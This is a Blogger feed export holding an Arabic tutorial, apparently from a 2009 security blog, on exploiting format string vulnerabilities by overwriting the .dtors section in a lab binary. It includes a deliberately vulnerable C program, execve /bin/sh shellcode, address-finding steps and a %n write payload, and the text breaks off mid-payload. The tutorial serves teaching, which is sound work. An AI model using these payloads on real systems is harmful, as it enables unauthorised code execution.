<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss'><id>tag:blogger.com,1999:blog-1088426501839962463</id><updated>2010-03-11T18:55:58.930+04:00</updated><title type='text'>SecureDeath[d0t]com</title><subtitle type='html'>.: What You Dont Know May Hurt You :.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.securedeath.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>12</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-1447578235329233680</id><published>2009-04-22T11:39:00.011+04:00</published><updated>2009-09-27T18:04:13.171+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dtor'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='format string'/><category scheme='http://www.blogger.com/atom/ns#' term='exploiting'/><title type='text'>Format string &amp; .dtors section</title><content type='html'>&lt;div style="text-align: center;"&gt;السلام عليكم...&lt;br /&gt;&lt;br /&gt;وطريقه استغلالها بشكل متطور format string بتكلم اليوم عن ثغرات&lt;br /&gt;&lt;br /&gt;printf ثغرات الفورمات سترينق تكون في دوال&lt;br /&gt;printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf&lt;br /&gt;&lt;br /&gt;المستخدم في داله stringوهي عباره عن غلطات او هفوات المبرمجين , عند استخدامهم لهذي الدوال  من غير تعريف ال&lt;br /&gt;بالفورمات باراميتر printf&lt;br /&gt;&lt;br /&gt;هناك انواع كثيره من الفورمات باراميترز مثل:&lt;br /&gt;&lt;div style="text-align: right;"&gt;  unsigned hexadecimal للقرائه من الميموري بصيغة &lt;span style="color: rgb(255, 153, 102);"&gt;x%&lt;/span&gt;&lt;br /&gt;decimal للقرائه من الميموري بصيغة &lt;span style="color: rgb(255, 153, 102);"&gt;d%&lt;/span&gt;&lt;br /&gt;unsigned decimal للقرائه من الميموري بصيغة &lt;span style="color: rgb(255, 153, 102);"&gt;%u&lt;/span&gt;&lt;br /&gt;سترينق &lt;span style="color: rgb(255, 153, 102);"&gt;%s&lt;/span&gt;&lt;br /&gt;للكتابه على الميموري &lt;span style="color: rgb(255, 153, 102);"&gt;n%&lt;/span&gt;&lt;br /&gt;لكتابة 16 بت على الميموري بدلا من 32 بت  &lt;span style="color: rgb(255, 153, 102);"&gt;hn%&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;الي بيهمنا هو القرائه والكتابه على الميموري.&lt;br /&gt;&lt;br /&gt;نجيب كود مضروب ونشرح عليه احسن&lt;br /&gt;&lt;/div&gt;&lt;div style="margin: 5px 20px 20px; text-align: center;"&gt; &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: left;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 4px; overflow: auto; width: 330px; height: 250px;"&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#include &lt;%stdio.h%&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#include &lt;%string.h%&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;int&lt;/span&gt; main(&lt;span style="color: rgb(102, 0, 204);"&gt;int&lt;/span&gt; argc, &lt;span style="color: rgb(102, 0, 204);"&gt;char&lt;/span&gt; **argv) {&lt;br /&gt;&lt;span style="color: rgb(102, 0, 204);"&gt;char&lt;/span&gt; buf[&lt;span style="color: rgb(255, 102, 0);"&gt;1024&lt;/span&gt;];&lt;br /&gt;strncpy(buf, argv[&lt;span style="color: rgb(255, 102, 0);"&gt;1&lt;/span&gt;], &lt;span style="color: rgb(51, 51, 255);"&gt;sizeof&lt;/span&gt;(buf) - &lt;span style="color: rgb(255, 102, 0);"&gt;1&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;printf(buf);&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;استخدمت بدون تحديد الفورمات باراميتر فيها printf مثل ماشايفين, الداله&lt;br /&gt;&lt;br /&gt;في المدخلات %x نقدر نقرا بيانات من الميموري اذا استخدمنا&lt;br /&gt;&lt;br /&gt;مثلا&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;./vulnf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;"%x%x%x%x"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;bfffde613f7078257825&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;مثل ما نشوف طلعنا قيم من الميموري بصيغة الهيكس ديسمل.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;الحين المطلوب منا ان نكتب الشل كود على الميموري, ونكتب عنوان الشل كود على عنوان من عناوين مسجلات الميموري, في موضوعنا  eip السابق عن ثغرات فيض المكدس شرحنا كيف نكتب عنوان الشل كود على مسجل&lt;br /&gt;&lt;br /&gt;.dtors هذي المره بنشرح كيف نكتب عنوان الشل كود على عنوان&lt;br /&gt;كومبايلرز GNU الي هو عباره عن مسجل خاص ياتي مع&lt;br /&gt;&lt;br /&gt;يشتغل بعد ما يبدا البرنامج بالعمل يعني بعد ما تشتغل الداله .dtors وعنوان&lt;br /&gt;وهو ينظاف على البرنامج بشكل تلقائي بعد ما تعمل له كومبايل بال, main()&lt;br /&gt;يعني لو كتبنا على عنوان ,gcc&lt;br /&gt;عنوان الشل كود لنا بيشتغل الشل كود قبل ما ينهي البرنامج عمله, حلو هذا المطلوب dtor&lt;br /&gt;&lt;br /&gt;ممكن نطلعه بطريقتين .dtors  اول شي بنطلع عناوين&lt;br /&gt;مثل ما تشوفون عنوان objdump الاولى عن طريق&lt;br /&gt;هو08049510 dtor&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;objdump&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);"&gt;-h&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;vulnf&lt;/span&gt; | &lt;span style="color: rgb(51, 51, 255);"&gt;grep&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);"&gt;dtor&lt;/span&gt;&lt;br /&gt;16 .dtors        00000008  08049510  &lt;span style="color: rgb(255, 255, 51);"&gt;08049510&lt;/span&gt;  00000510  2**2 &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;br /&gt;بتشوفون عندنا عنوانين الاول بدايه ,nm الثانيه عن طريق&lt;br /&gt;و الثاني نهايته الي هو يزيد عن البدايه باربع بايتات dtor&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;nm&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;vulnf&lt;/span&gt; |&lt;span style="color: rgb(51, 51, 255);"&gt; grep&lt;/span&gt; &lt;span style="color: rgb(153, 0, 0);"&gt;DTOR&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;08049514&lt;/span&gt; d __&lt;span style="color: rgb(255, 255, 51);"&gt;DTOR_END&lt;/span&gt;__&lt;br /&gt;08049510 d __DTOR_LIST__ &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;يعني على 08049514 dtors  نحن نبغي نكتب على نهاية&lt;br /&gt;&lt;br /&gt;نبغي نكتب الشل كود على الميموري ونبغي نعرف عنوانه dtors الحين بعد ما طلعنا عنوان&lt;br /&gt;&lt;br /&gt;env بنكتب الشل كود على&lt;br /&gt;فاللينكس, ما تهمنا الطريقه الي نكتب فيها الشل كود على  الميموري, المهم انه ينكتب وبس&lt;br /&gt;SHELLCODE بنعرف الشل كود على الاينفايرومنت باسم  &lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$ &lt;/span&gt;&lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;export&lt;/span&gt; &lt;span style="color: rgb(255, 204, 102);"&gt;SHELLCODE=&lt;/span&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;env نتاكد ان الشل كود انكتب على   &lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(0, 0, 153);"&gt;echo&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0);"&gt;$SHELLCODE&lt;/span&gt;&lt;br /&gt;�������������������������  1�Ph//shh/bin��PS�ᙰ&lt;br /&gt;̀&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; [drdeath@SecureDeath lab]$ &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;تمام امورنا طيبه, الحين نبغي نعرف عنوان الشل كود, ممكن ان نعملها بالطريقه الكلاسيكيه عن طريق&lt;br /&gt;والبحث عن عناوين النوب gdb&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; gdb vulnf&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;b&lt;/span&gt; &lt;span style="color: rgb(204, 0, 0);"&gt;*main&lt;/span&gt;&lt;br /&gt;Breakpoint 1 at 0x80483b4&lt;br /&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;(gdb)&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;run&lt;/span&gt;&lt;br /&gt;Starting program: /lab/vulnf&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080483b4 in main ()&lt;br /&gt;(gdb) &lt;span style="color: rgb(51, 51, 255);"&gt;x/200x&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt; $esp&lt;/span&gt;&lt;br /&gt;..............&lt;br /&gt;...........&lt;br /&gt;...........&lt;br /&gt;0xbfffde5c: 0x00396c65 0x4c454853 0x444f434c &lt;span style="color: rgb(255, 0, 0);"&gt;0x9090&lt;/span&gt;3d45&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbfffde6c: 0x90909090 0x90909090 0x90909090 0x90909090&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 0xbfffde7c: 0x90909090 0x90909090 0x90909090 0x90909090&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; 0xbfffde8c: 0x90909090 0x90909090 0x90909090 0x90909090&lt;/span&gt;&lt;br /&gt;0xbfffde9c: &lt;span style="color: rgb(204, 51, 204);"&gt;0x6850c031 0x68732f2f 0x69622f68 0x50e3896e&lt;/span&gt;&lt;br /&gt;0xbfffdeac: &lt;span style="color: rgb(204, 51, 204);"&gt;0x99e18953 0x80cd0bb0&lt;/span&gt; 0x45485300 0x2f3d4c4c&lt;br /&gt;................&lt;br /&gt;..........&lt;br /&gt;..... &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;مثل ما شايفين شغلنا البرنامج  المصاب بالديباقر, وبعدين عملنا&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;*main&lt;/span&gt; في بداية البرنامج عند &lt;span style="color: rgb(255, 0, 0);"&gt;break point&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;run&lt;/span&gt;وبعدين شغلنا البرنامج&lt;br /&gt;وتصفحنا الميموري , وحصلنا قيم النوب والشل كود بعدها.&lt;br /&gt;وخلاص بيشتغل الشل كود dtor نقدر ناخذ اي عنوان من عناوين النوب هذي ونكتبه على عنوان&lt;br /&gt;ههههههههههههه لا صبرو الموضوع بعده شويه مطول في كمن شغله نحتاج نسويها قبل.&lt;br /&gt;&lt;br /&gt;اوكيه هذي الطريقه الكلاسيكيه لايجاد عنوان الشل كود, نقدر بعد نستخدم طريقه ثانيه اسهل, وهي عن طريق استخدام داله في لغه السي &lt;span style="color: rgb(255, 0, 0);"&gt;getenv()&lt;/span&gt;اسمها&lt;br /&gt;&lt;br /&gt;هذا البرنامج الصغير بيعطينا عنوان الشل كود مباشره&lt;br /&gt;&lt;/div&gt;&lt;div style="margin: 5px 20px 20px; text-align: center;"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 4px; overflow: auto; width: 300px; height: 82px;"&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;#include &lt;%stdio.h%&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;int&lt;/span&gt; main() {&lt;br /&gt;printf(&lt;span style="color: rgb(192, 192, 192);"&gt;"%p"&lt;/span&gt;,getenv(&lt;span style="color: rgb(192, 192, 192);"&gt;"SHELLCODE"&lt;/span&gt;));&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(255, 102, 0);"&gt;0&lt;/span&gt;; }&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;legend&gt;&lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;vi&lt;/span&gt; egg.c&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;gcc&lt;/span&gt; egg.c &lt;span style="color: rgb(153, 0, 0);"&gt;-o&lt;/span&gt; egg&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;./egg &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;0xbfffde7a&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;البرنامج عطانا العنوان&lt;br /&gt;0xbfffde7a&lt;br /&gt;&lt;br /&gt;كان كاتب برنامج خاص يحتوي على عدد من الشل كودز لانطمه مختلفه Qnix أخوي&lt;br /&gt;يقوم بحقن الشل كود في الانفايرومنت ويطعيك عنوانه مباشره&lt;br /&gt;&lt;a href="http://www.0x80.org/code/app/envt/envt.c" target="_blank"&gt;http://www.0x80.org/code/app/envt/envt.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;الحين نبغي نكتب ,dtors  الحين حصلنا على عنوان الشل كود وعنوان ال&lt;br /&gt;&lt;span style="color: rgb(255, 153, 255);"&gt;0xbfffde7a  &lt;/span&gt;&lt;br /&gt;على&lt;br /&gt;&lt;span style="color: rgb(255, 153, 255);"&gt;0x08049514&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;0 الى 32 بت وتحويله الى ديسملxbfffde7a بس اول شي بنحتاج نقسم العنوان&lt;br /&gt;%n علشان نقدر نكتبه بالفورمات باراميتر&lt;br /&gt;&lt;br /&gt;بنحول قيم الهيكس الى ديسمل ASCII table باستخدام&lt;br /&gt;&lt;a href="http://www.asciitable.com/" target="_blank"&gt;http://www.asciitable.com/&lt;/a&gt;&lt;br /&gt;او ممكن تستخدمون ادات التحويل من هيكس الى ديسمل&lt;br /&gt;&lt;a href="http://drdeath.myftp.org:881/crypt.php" target="_blank"&gt;http://drdeath.myftp.org:881/crypt.php&lt;/a&gt; ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;bf&lt;/span&gt; = &lt;span style="color: rgb(255, 0, 0);"&gt;191&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ff&lt;/span&gt; = &lt;span style="color: rgb(255, 0, 0);"&gt;255&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;de&lt;/span&gt; = &lt;span style="color: rgb(255, 0, 0);"&gt;222&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;7a&lt;/span&gt; = &lt;span style="color: rgb(255, 0, 0);"&gt;122&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;الحين بنقوم بعمليه حسابيه بسيطه, بنطرح كل قيمه من القيمه الي تحتها. بس اذا كانت القيمه الاولى اصغر من الثانيه &lt;span style="color: rgb(255, 255, 51);"&gt;بنضيف&lt;/span&gt; لها عدد &lt;span style="color: rgb(255, 255, 51);"&gt;256&lt;/span&gt;  &lt;span style="color: rgb(204, 102, 204);"&gt;(role over)&lt;/span&gt; وبعدين بنقوم بالطرح الي تسمى بعملية&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;  &lt;legend&gt; &lt;/legend&gt;قيمة bf=191 &lt;span style="color: rgb(255, 0, 0);"&gt;&lt;&lt;/span&gt; ff=255               &lt;span style="color: rgb(51, 204, 0);"&gt;// نضيف لها 256 وبعدين بنطرح منها 255&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;191+256=447-255=&lt;span style="color: rgb(255, 255, 51);"&gt;192&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;قيمة ff=255 &lt;span style="color: rgb(255, 0, 0);"&gt;&gt;&lt;/span&gt; de=222&lt;span style="color: rgb(51, 204, 0);"&gt;            // نطرح بشكل طبيعي&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;255-222=&lt;span style="color: rgb(255, 255, 51);"&gt;33&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;قيمة de=222 &lt;span style="color: rgb(255, 0, 0);"&gt;&gt;&lt;/span&gt; 7a=122          &lt;span style="color: rgb(51, 204, 0);"&gt;// نطرح بشكل طبيعي&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;222-122=&lt;span style="color: rgb(255, 255, 51);"&gt;100&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;7 قيمةa=122                          &lt;span style="color: rgb(51, 204, 0);"&gt;// أخر قيمة نطرحها دائما من 16&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;122-16=&lt;span style="color: rgb(255, 255, 51);"&gt;106&lt;/span&gt; &lt;/div&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;dtors الحين هذا القيم بنكتبها على اربع عناوين من عناوين&lt;br /&gt;نحن عندنا العنوان&lt;br /&gt;0 بنزيد عليه بعد 3 عناوين بعده, يعني بيكون كالتاليx08049514&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;legend&gt;&lt;/legend&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;bf = 192&lt;/span&gt;       write on &lt;span style="color: rgb(51, 255, 255);"&gt;0x08049517&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;ff = 33&lt;/span&gt;            write on &lt;span style="color: rgb(51, 255, 255);"&gt;0x08049516&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;de = 100&lt;/span&gt;  write on &lt;span style="color: rgb(51, 255, 255);"&gt;0x08049515 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;7a = 106&lt;/span&gt;     write on &lt;span style="color: rgb(51, 255, 255);"&gt;0x08049514&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;br /&gt;الحين بنحتاج نعرف كم فورمات باراميتر بنحتاج  علشان نوصل لعنوان المدخل الي بنكتبه&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;  &lt;/span&gt;&lt;legend style="color: rgb(102, 255, 153);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;./vulnf&lt;/span&gt; "&lt;span style="color: rgb(255, 255, 102);"&gt;AAAA&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;%x %x %x %x&lt;/span&gt;"&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;AAAA bfffde59 3ef 0&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;41414141&lt;/span&gt; &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;%x&lt;/span&gt;  مثل ماتشوفون بعد حوالي اربع&lt;br /&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;AAAA&lt;/span&gt; وجدنا مكان مدخلنا الي هو&lt;br /&gt;والي يقابله &lt;span style="color: rgb(255, 255, 102);"&gt;41414141&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ممكن انك تروح مباشره وتستعرض قيمة الخانه الرابعه بهذا الشكل&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;./vulnf&lt;/span&gt; "&lt;span style="color: rgb(255, 255, 51);"&gt;AAAA&lt;/span&gt;"&lt;span style="color: rgb(255, 0, 0);"&gt;%4\$x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;AAAA&lt;/span&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;41414141&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;بنكتب عناوين AAAA تمام, الحين بنعوض بدل&lt;br /&gt;الاربعه الي عندنا, يعني بتنكتب عناوين الديتورز على هذي الاماكن من الميموري dtors&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;legend&gt;&lt;/legend&gt;%&lt;span style="color: rgb(102, 255, 255);"&gt;4&lt;/span&gt;\$x&lt;br /&gt;%&lt;span style="color: rgb(51, 255, 255);"&gt;5&lt;/span&gt;\$x&lt;br /&gt;%&lt;span style="color: rgb(51, 255, 255);"&gt;6&lt;/span&gt;\$x&lt;br /&gt;%&lt;span style="color: rgb(51, 255, 255);"&gt;7&lt;/span&gt;\$x &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;وبالتالي على هذي الخانات بنروح وبنكتب عنوان الشل كود لنا, الي نحنا حولناه الى صيغه ديسمل 23 بت&lt;br /&gt;&lt;br /&gt;سنقوم بكتابة قيم الديسمل التي هي في الحقيقه عنوان الشل كود داخل عناوين الديتور.&lt;br /&gt;%x او %u و %nبنستخدم&lt;br /&gt;&lt;br /&gt;الاستغلال سيكون بالشكل التالي&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" cellpadding="0" cellspacing="0" width="90%" border="0"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;  &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;./vulnf&lt;/span&gt; &lt;span style="color: rgb(204, 51, 204);"&gt;`printf "\x14\x95\x04\x08\x15\x95\x04\x08\x16\x95\x04\x08\ x17\x95\x04\x08"`&lt;/span&gt;&lt;span style="color: rgb(102, 255, 255);"&gt;%106x%4\$n%100x%5\$n%33x%6\$n%192 x%7\$n&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 